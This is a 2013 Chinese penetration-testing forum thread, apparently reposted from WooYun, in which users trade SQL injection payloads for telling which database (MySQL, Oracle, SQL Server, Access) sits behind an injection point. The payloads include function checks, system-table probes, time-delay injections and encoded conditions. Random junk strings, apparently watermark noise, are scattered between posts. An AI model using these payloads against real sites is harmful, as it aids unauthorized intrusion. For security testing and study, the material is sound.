中国网络渗透测试联盟
标题:
一个注射点如何最快速确认是什么类型数据库
[打印本页]
作者:
admin
时间:
2013-2-11 09:54
标题:
一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库
' K7 R7 A7 s; B: U1 V
xsser (十根阳具有长短!!) | 2013-02-05 12:36
) S# ?3 E, n; v2 n3 m* C" l, _
假设这么一个注射点:
+ [0 k5 n8 O+ Q( C1 {
show.html?id=2
! `) E# |( z2 B ]1 |
mysql:id=2 and version()>0
" _, R# b' s4 p; p6 ^/ t6 J$ R
oracle:id=2 and '1'||'1'='11
! I0 o; [( A% Y% {
其他的欢迎补充
! a7 V0 i( i4 X& U/ }* e
1#
. _- Q$ q9 s$ ~% {+ k: j
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
$ v/ |$ a1 j2 l- u+ I4 i
Access:
$ k& x% B1 X. O3 S- }# O
aNd aSc(cHr(97))=97
$ q' B( ^& Y, `3 x0 o9 F5 q7 Z
and exists(select id from MSysAccessObjects)
, l; A& ?( V! @* s2 H
SQL Server:
3 y5 ^4 g) t; M
and exists(select id from sysobjects)
6 W U6 d9 [9 M4 E* C/ M
and length(user)>0
1 s. i3 M0 }/ I8 K2 P, p3 c
MySQL:
( E2 c! P$ }" g& a' ^6 O
and length(user())>0
+ P+ v- h V2 E
2#
9 ~0 ?+ t( @% K
xsser (十根阳具有长短!!) | 2013-02-05 12:48
/ Z7 g* {/ }9 ^' s
@upload 如果这些都不是呢…
8 p9 B0 d, {6 @& Y4 K1 x" i( V
3#
. E) k3 X' E# l$ _
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
. z: X1 V' x! D; s
@xsser 不快速的,延时注入
5 m, f& z" y, S, b
不知道这样写对不对
/ L2 N9 A" ]9 s/ R' n7 U$ f
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
* L3 M+ P4 ^/ J& x9 e( o i3 s \
mysql:id=2 and select benchmark(1e8,current_date());
$ R% ]- j3 J& C# n4 E' J
4#
- |2 C% Z( R$ ]' x+ @+ a( P
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
! v, t2 s: @) F- Z4 J1 V
最快的貌似是看报错信息
; J1 x: W/ S# z/ I! A, {
oracle error
3 h" W8 ]6 N0 z6 H- X% m5 q9 _
mssql error
* m. Z8 C9 l& i/ x1 R" a
mysql error
" m8 k4 l2 T3 |0 Y0 _5 y* M" W
5#
4 p' F$ j. b% Y# x; h3 z0 s$ a2 @
Nimda (你们都是坏银~) | 2013-02-05 13:14
$ m: y' X/ L5 y$ K( U% I8 z
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
0 l$ c5 }+ S& g$ \: t! l+ c
6#
r) N4 {1 ^% Z
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
) y: {7 t3 q4 m2 _" ]* \8 F. U0 ?% v
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
+ Q2 o+ s2 @" Z8 W5 Q
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
& Y# i: V$ H+ e
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
4 S9 _1 F' ~& A# H2 Q E$ ^
7#
, @+ _3 S8 l4 [3 E3 x
_Evil (HackEnd) | 2013-02-05 13:33
' j. q6 E2 N, a* O8 @! [" F7 H
PostgreSQL
9 q3 v; D% g) J1 G, o d
8#
' H4 c& O; c; ^. h, K6 p" l
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
5 D0 ?- O7 S) k2 Y" G$ q
切换编码 and 1=1
3 O9 B/ d) _2 r2 ^9 f" k
oracle:
; D* q3 `# ^) K/ P4 }# l
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
, \; H8 Y% L1 e5 s8 P
mssql:
, C' W2 l: S0 }1 S! h1 H6 }6 Y5 z9 h
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
* t' H- N8 I7 Q$ }0 K' K
mysql:
3 p- C+ b9 }, c7 w
CHAR(97, 110, 100, 32, 49, 61, 49)
( O v8 \$ Z. V5 X j7 J p
9#
* ^! i- o# ?4 c; V
xsser (十根阳具有长短!!) | 2013-02-05 14:31
/ a! D% C/ t2 H
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
2 j! m9 _ A* u' d1 E. }2 c
10#
, |0 g8 |) Y# e/ r+ E3 ]; G) ~$ N/ C$ @
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
+ ]3 }# y4 B) e: f# ^
@xsser 是奇葩数据库类型的么?
( E+ G% I# K+ p% d7 I
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
# X5 Y [- ^* i
1.是否可以使用特定的函数来判断,该数据库特有的
) {2 P1 [; }& L0 L
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
) I% x) G6 {/ v
3.是否可以编码查询
' ~- u; c, r% r: p0 @7 d
4.是否显可以利用错信息
9 I- p/ n% N0 `
5.是否存在数据库某些特性辅助判断
4 L; T+ u% d1 ?6 B& h3 X! V9 Q
个人见解
[3 }4 t5 p+ @: }
11#
# O3 u5 d: j" |; w- S4 U
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
: g. i5 E, U" D1 [! Z/ C
已收藏,mssql可以直接看到错误提示的吧~
: ^; Z( n+ S# {) c
12#
) V: C( `# e a$ M- f" k% p
Passer_by | 2013-02-05 15:09
9 S! F+ G% Q& J5 c& i" _
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
; n. r, n6 E2 h' n2 z; D
from:
http://zone.wooyun.org/content/260
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2